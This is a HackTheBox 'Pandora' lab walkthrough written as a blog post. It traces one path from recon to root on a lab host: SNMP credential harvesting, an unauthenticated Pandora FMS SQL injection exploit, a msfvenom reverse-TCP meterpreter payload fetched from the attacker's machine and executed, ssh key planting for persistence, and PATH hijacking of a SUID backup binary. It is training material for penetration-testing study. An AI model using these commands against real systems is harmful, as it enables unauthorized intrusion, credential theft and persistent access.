This HackTheBox can be found here.
Pandora is included in TJnull’s OSCP, OSEP, and OSWE list.
Recon
We’ll start with a Nmap scan:
1
sudo nmap -sC -sV -p- -oN allports 10.10.11.136
1
2
3
4
5
6
7
8
9
10
11
12
13
Nmap scan report for 10.10.11.136
Host is up (0.026s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 24c295a5c30b3ff3173c68d7af2b5338 (RSA)
| 256 b1417799469a6c5dd2982fc0329ace03 (ECDSA)
|_ 256 e736433ba9478a190158b2bc89f65108 (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Play | Landing```
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Only ports for ssh and http are open. I’ll first add pandora.htb to my /etc/hosts file:
Now we can check out the website:
After looking at the site, there’s not much going on. I’ll run gobuster for directories, nikto for vulnerabilities, and ffuf for subdomains, but I don’t find anything from the tools.
Initial Foothold
After spending some more time looking around and not finding anything, I ran a Nmap scan for UDP ports:
1
sudo nmap -sU -T4 pandora.htb
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
PORT STATE SERVICE
161/udp open snmp
776/udp open|filtered wpages
1025/udp open|filtered blackjack
1761/udp open|filtered cft-0
5555/udp open|filtered rplay
6000/udp open|filtered X11
11487/udp open|filtered unknown
17332/udp open|filtered unknown
20288/udp open|filtered unknown
20876/udp open|filtered unknown
22914/udp open|filtered unknown
42056/udp open|filtered unknown
49208/udp open|filtered unknown
49350/udp open|filtered unknown
64590/udp open|filtered unknown
SNMP is open, so lets use snmp-check against it:
1
snmp-check 10.10.11.136
Since the community string is public, we can pull a ton of information from the host.
In the processes section, it looks like there was a process spawned with credentials passed in as arguments:
Using these credentials, we can ssh into the target as danial:
1
ssh daniel@pandora.htb
After connecting, we can see that user.txt is in matt's home directory, and we don’t have access to it:
Privilege Escalation - Shell as matt@pandora.htb
Let’s bring over linpeas to the system. First start a http server in the directory where linpeas is located:
1
python3 -m http.server 80
Now use wget to grab linpeas:
1
2
3
4
cd /tmp
wget http://<kali_IP>/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh
After looking at the linpeas output, there is an Apache virtual host that is configured to listen on localhost. It serves /var/www/pandora/:
Let’s connect to the webpage through a SSH tunnel:
1
ssh -D 8085 daniel@pandora.htb
After opening the tunnel, configure a SOCKS5 proxy with FoxyProxy, and browse to http://localhost:
We can see that this is Pandora FMS v7.0NG.742. Let’s search for any exploits for this version:
1
searchsploit pandora
We have a lot of options, but first lets use proxychains4 to set up a SOCKS5 proxy to the target:
1
2
3
sudo nano /etc/proxychains4.conf
#Add the following line to the bottom of the file:
socks4 127.0.0.1 8085
Testing with curl tells us that the proxy is working:
1
curl http://localhost
Most exploits require credentials. Looking within /var/www/pandora/pandora_console, there are two SQL dumps. When comparing them to var/www/pandora/pandora_console/audit.log we see that the admin credentials were changed after the dumps were created.
After some more enumeration and googling, I found that this version is vulnerable to unauthenticated SQL injection. You can use Burp for manual exploitation, but I’ll use an exploit script from here:
1
2
3
git clone https://github.com/shyam0904a/Pandora_v7.0NG.742_exploit_unauthenticated.git
cd Pandora_v7.0NG.742_exploit_unauthenticated
proxychains4 ./pandora_exploit.sh ./sqlpwn.py -t localhost
We now have a php backdoor for the user matt. Let’s grab the user.txt flag:
1
cat /home/matt/user.txt
Privilege Escalation - Root.txt
Since we don’t have a true shell, but a basic php backdoor, lets upgrade our matt shell.
First, create a meterpreter payload:
1
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=10.10.14.13 LPORT=4443 -f elf -o shell.elf
Now start a metasploit listener:
1
2
3
4
5
msfconsole
use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set LHOST tun0
set LPORT 4443
And upload the payload:
1
2
3
4
5
6
#Start a http server in the same directory as the created payload
python3 -m http.server 80
#Now switch over to the php backdoor
wget http://<kali_IP>/shell.elf -o shell.elf
chmod +x shell.elf
./shell.elf
At this point, we should have a meterpreter session as matt:
We should run linpeas again since this user has different access. After uploading (not sure why my old linpeas.sh was missing) and running it, we can see an unknown SUID binary pandora_backup:
Running it without sudo tells us it uses tar to back up the pandora files:
Now when we try to run with sudo, we get a permission error:
At this point, I was totally stuck for a while as I went down the rabbit hole of that error. Eventually, it led me to this article that references an apache module named mpm_itk. I looked more into this and found the error could be due to my shell. Let’s drop our ssh key into Matt’s .authorized_keys file and ssh in:
1
2
3
4
5
6
#within the meterpreter session
cd /home/matt
mkdir .ssh
#Now drop into a shell
shell
echo <your id_rsa.pub> > .ssh/authorized_keys
Now, you can ssh to pandora.htb with your key:
Running pandora_backup now works:
Now we need to look at what this binary is doing. The host was missing most tools, so I used the meterpreter shell I still had to download it:
1
download /usr/bin/pandora_backup
Running strings pandora_backup shows us the full tar command executing:
1
tar -cvf /root/.backup/pandora-backup.tar.gz /var/www/pandora/pandora_console/*
ltrace ./pandora_backup shows us that it’s being called with system():
1
system("tar -cvf /root/.backup/pandora-b"...tar: /root/.backup/pandora-backup.tar.gz: Cannot open: Permission denied
At this point, you can see tar isn’t being called with it’s full path, so we can edit our path variable to point to a tar file we control:
1
2
3
4
5
6
#within our ssh session as Matt
cd /tmp
echo "cat /root/root.txt" > tar
chmod +x tar
export PATH=/tmp:$PATH
pandora_backup
After running pandora_backup, the root flag should be printed to the screen:
